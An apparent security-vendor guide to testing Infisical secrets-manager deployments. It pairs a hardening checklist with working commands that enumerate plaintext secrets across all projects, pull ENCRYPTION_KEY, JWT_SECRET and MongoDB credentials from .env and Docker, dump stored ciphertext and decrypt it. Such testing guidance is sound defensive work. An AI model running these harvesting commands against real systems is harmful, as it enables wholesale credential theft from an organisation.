Secrets Management Security Testing

Infisical Security Testing: Default Credentials, API Token, Database, and Encryption Key

📅 July 3, 2026 ⏱ 12 min read 🏷 Infisical, Secrets Management Security, ENCRYPTION_KEY, JWT Secret, MongoDB, Machine Identity, Mass Credential Harvest

Infisical is a widely deployed open-source secrets management platform (HashiCorp Vault/Doppler alternative) used to centralize all application credentials — API keys, database passwords, OAuth secrets, and service tokens. Compromising Infisical is uniquely high-impact because it is a secrets aggregator: a single compromise can expose every credential stored across all connected applications and environments. Key assessment areas: ENCRYPTION_KEY in .env is used to decrypt all stored secrets in the database, enabling mass credential extraction; JWT_SECRET enables session token forgery; MONGO_URL provides MongoDB access to all encrypted secret ciphertext; the API allows enumerating all secret values across projects; and machine identity tokens provide long-lived non-expiring API access. This guide covers systematic Infisical security assessment.

Authentication and Machine Identity Token Testing
API Secret Value Enumeration Across All Projects
ENCRYPTION_KEY and MongoDB Credential Extraction
Infisical Security Hardening

Authentication and Machine Identity Token Testing

# Infisical — authentication and machine identity token testing
INFISICAL_URL="https://infisical.example.com"

# Infisical admin login
AUTH_RESPONSE=$(curl -s -X POST "${INFISICAL_URL}/api/v1/auth/login1" \
  -H "Content-Type: application/json" \
  -d '{"email":"admin@example.com","clientPublicKey":"..."}' 2>/dev/null)
# Infisical uses SRP authentication — direct password login is complex
# Use service tokens or machine identity tokens for API testing

# Machine identity token — created for CI/CD automation (long-lived)
# GET /api/v1/machine-identities — list all machine identities (admin only)
ACCESS_TOKEN="your-access-token-or-service-token"

curl -s "${INFISICAL_URL}/api/v1/workspace" \
  -H "Authorization: Bearer ${ACCESS_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
workspaces = d.get('workspaces',[])
print(f'Workspaces: {len(workspaces)}')
for w in workspaces:
    print(f'  [{w.get(\"id\")}] {w.get(\"name\")} envs={[e.get(\"slug\") for e in w.get(\"environments\",[])]}')
" 2>/dev/null

# Service token — generated per project with configurable permissions
SERVICE_TOKEN="st.your-service-token.value"
curl -s "${INFISICAL_URL}/api/v3/secrets?workspaceId=WORKSPACE_ID&environment=production" \
  -H "Authorization: Bearer ${SERVICE_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
secrets = d.get('secrets',[])
print(f'Secrets: {len(secrets)}')
for s in secrets[:10]:
    print(f'  {s.get(\"secretKey\")} = {s.get(\"secretValue\")[:30] if s.get(\"secretValue\") else \"[encrypted]\"}')
" 2>/dev/null

API Secret Value Enumeration Across All Projects

# Infisical REST API — secret value enumeration across all projects
INFISICAL_URL="https://infisical.example.com"
ACCESS_TOKEN="your-admin-access-token"

# List all workspaces (projects)
curl -s "${INFISICAL_URL}/api/v1/workspace" \
  -H "Authorization: Bearer ${ACCESS_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
workspaces = d.get('workspaces',[])
for w in workspaces:
    wid = w.get('id')
    name = w.get('name')
    envs = [e.get('slug') for e in w.get('environments',[])]
    print(f'Workspace: {name} ({wid}) envs: {envs}')
" 2>/dev/null

WORKSPACE_ID="your-workspace-id"

# Get all secrets in a workspace — returns plaintext values for authorized tokens
for ENV in production staging development; do
  echo "=== Environment: ${ENV} ==="
  curl -s "${INFISICAL_URL}/api/v3/secrets?workspaceId=${WORKSPACE_ID}&environment=${ENV}&secretPath=/" \
    -H "Authorization: Bearer ${ACCESS_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
secrets = d.get('secrets',[])
print(f'Secrets in ${ENV}: {len(secrets)}')
for s in secrets:
    key = s.get('secretKey','')
    val = s.get('secretValue','')
    if any(k in key.upper() for k in ['KEY','SECRET','TOKEN','PASSWORD','PASS','PRIVATE','STRIPE','AWS','GOOGLE','SLACK']):
        print(f'  [SENSITIVE] {key} = {val[:50]}')
" 2>/dev/null
done

# Admin — list all users on the Infisical instance
curl -s "${INFISICAL_URL}/api/v1/admin/user-management" \
  -H "Authorization: Bearer ${ACCESS_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
users = d.get('users',[])
print(f'Users: {len(users)}')
for u in users[:10]:
    print(f'  [{u.get(\"id\")}] {u.get(\"email\")} superAdmin={u.get(\"superAdmin\")} verified={u.get(\"isEmailVerified\")}')
" 2>/dev/null

ENCRYPTION_KEY and MongoDB Credential Extraction

# Infisical .env ENCRYPTION_KEY and MongoDB credential extraction

# .env file — Infisical's critical secrets
cat /app/.env 2>/dev/null | grep -E "ENCRYPTION_KEY|JWT_SECRET|MONGO_URL|REDIS|AUTH_SECRET"
# ENCRYPTION_KEY — 16-byte hex key used to AES-encrypt all stored secrets
# JWT_SECRET — JWT signing secret for session tokens
# MONGO_URL — MongoDB connection string with credentials
# JWT_AUTH_SECRET — authentication JWT signing key

# Docker deployment
docker inspect infisical 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
for c in d:
    for e in c.get('Config',{}).get('Env',[]):
        if any(k in e for k in ['ENCRYPTION_KEY','JWT_SECRET','MONGO_URL','AUTH_SECRET','REDIS']):
            print(e)
" 2>/dev/null

# MongoDB access — all encrypted secrets in the database
MONGO_URL="mongodb://infisical:PASSWORD@localhost/infisical"
mongosh "$MONGO_URL" 2>/dev/null --eval "
// List all collections
db.getCollectionNames()
"

# secrets collection — all stored secrets (AES-encrypted with ENCRYPTION_KEY)
mongosh "$MONGO_URL" 2>/dev/null --eval "
db.secrets.find({}, {secretKeyIV:1, secretKeyTag:1, secretKeyCiphertext:1,
                      secretValueIV:1, secretValueTag:1, secretValueCiphertext:1,
                      workspace:1, environment:1}).limit(10)
"
# With ENCRYPTION_KEY, decrypt using AES-256-GCM:
# node -e "
# const crypto = require('crypto');
# const ENCRYPTION_KEY = Buffer.from('extracted-key', 'hex');
# function decrypt(ciphertext, iv, tag) {
#   const decipher = crypto.createDecipheriv('aes-256-gcm', ENCRYPTION_KEY, Buffer.from(iv,'base64'));
#   decipher.setAuthTag(Buffer.from(tag,'base64'));
#   return decipher.update(Buffer.from(ciphertext,'base64'),'binary','utf8') + decipher.final('utf8');
# }
# // Apply to each secret in database
# "

# workspaces collection — all projects
mongosh "$MONGO_URL" 2>/dev/null --eval "
db.workspaces.find({}, {name:1, environments:1}).limit(20)
"

Infisical Security Hardening

Infisical Security Hardening Checklist:

Protect ENCRYPTION_KEY as the highest-priority secret in your infrastructure — Infisical's ENCRYPTION_KEY is used to AES-256-GCM encrypt every secret stored in the database; a compromised ENCRYPTION_KEY combined with database access allows decrypting all stored secrets across all projects and environments — this is a complete compromise of every credential managed through Infisical; generate ENCRYPTION_KEY using a cryptographically secure random source (openssl rand -hex 16); store ENCRYPTION_KEY exclusively in hardware security modules (HSM) or cloud KMS (AWS KMS, GCP Cloud KMS) rather than .env files; never store ENCRYPTION_KEY in version control, CI/CD environment variables, or alongside the database it protects; rotate ENCRYPTION_KEY requires re-encrypting all stored secrets
Restrict Infisical network access to an extraordinary degree — Infisical centralizes all application credentials, making network access control critical; the Infisical API and web interface should be accessible only via VPN or internal network; implement allowlist-based IP restrictions at the firewall level; never expose the Infisical instance to the public internet; implement mutual TLS (mTLS) for machine identity authentication where possible; audit all network paths to Infisical regularly; a network-accessible Infisical instance is a single point of failure for the entire organization's credential security
Implement machine identity token rotation and scope restriction — Infisical machine identity tokens are used for CI/CD automation and typically have longer lifetimes than user session tokens; each machine identity should have the minimum required permissions (read-only access to specific environments, specific projects); implement automatic token rotation using Infisical's dynamic secrets or native token rotation features; audit all machine identity tokens regularly and delete tokens for decommissioned CI/CD pipelines; monitor machine identity token usage for unusual access patterns — bulk secret reads across multiple environments from a single token may indicate compromise
Secure MongoDB with authentication and network isolation — Infisical's MONGO_URL contains the full MongoDB connection string including credentials; the MongoDB database contains all secret ciphertext along with workspace configurations, user data, and access controls; configure MongoDB with authentication enabled (--auth), bind it to localhost or the container network only, and use TLS for all connections; even though secrets are encrypted in MongoDB, the encryption key and MongoDB credentials together enable full decryption; implement MongoDB field-level encryption as an additional defense layer; regularly back up MongoDB with encryption at rest
Audit service tokens and implement secret versioning — Infisical service tokens are the primary method for applications to retrieve secrets; each service token should be scoped to specific projects and environments; implement secret versioning to maintain audit trails of when secrets change; use Infisical's secret audit log to monitor all secret access and detect unauthorized enumeration; implement alerts for service tokens accessing environments beyond their normal scope; delete service tokens for applications that no longer need them; avoid creating wildcard service tokens that access all environments — use environment-specific tokens with least privilege

Security Test	Method	Risk
ENCRYPTION_KEY extraction and mass secret decryption	Read .env ENCRYPTION_KEY — AES-256-GCM decryption key for all stored secrets; combined with MongoDB access, decrypt every credential across all projects and environments	Critical (catastrophic blast radius)
API secret value enumeration across all workspaces	GET /api/v3/secrets with admin token — returns plaintext secret values for all environments; complete harvest of all stored API keys, database passwords, and service credentials	Critical
JWT_SECRET extraction and session token forgery	Read .env JWT_SECRET — JWT signing key; forge valid session tokens as any Infisical user including admins; combined with API access, read all stored secrets without ENCRYPTION_KEY	Critical
MONGO_URL credential extraction and ciphertext access	Read .env MONGO_URL — MongoDB connection credentials; access to all secret ciphertext; combined with ENCRYPTION_KEY, enables offline decryption of all stored secrets	Critical
Machine identity token enumeration and privilege escalation	GET /api/v1/machine-identities — all machine identities with associated permissions; identify over-privileged tokens that access production secrets from CI/CD contexts	High

Automate Infisical Security Testing

Ironimo tests Infisical deployments for ENCRYPTION_KEY extraction and AES-256-GCM secret decryption capability assessment, JWT_SECRET session token forgery, MONGO_URL MongoDB credential extraction with ciphertext access, API secret enumeration across all workspaces and environments, machine identity token privilege audit, admin panel network exposure, MongoDB authentication bypass testing, service token scope misconfiguration, Docker environment variable credential exposure, and user enumeration via the admin API.

Start free scan

Table of Contents

Authentication and Machine Identity Token Testing

API Secret Value Enumeration Across All Projects

ENCRYPTION_KEY and MongoDB Credential Extraction

Infisical Security Hardening

Automate Infisical Security Testing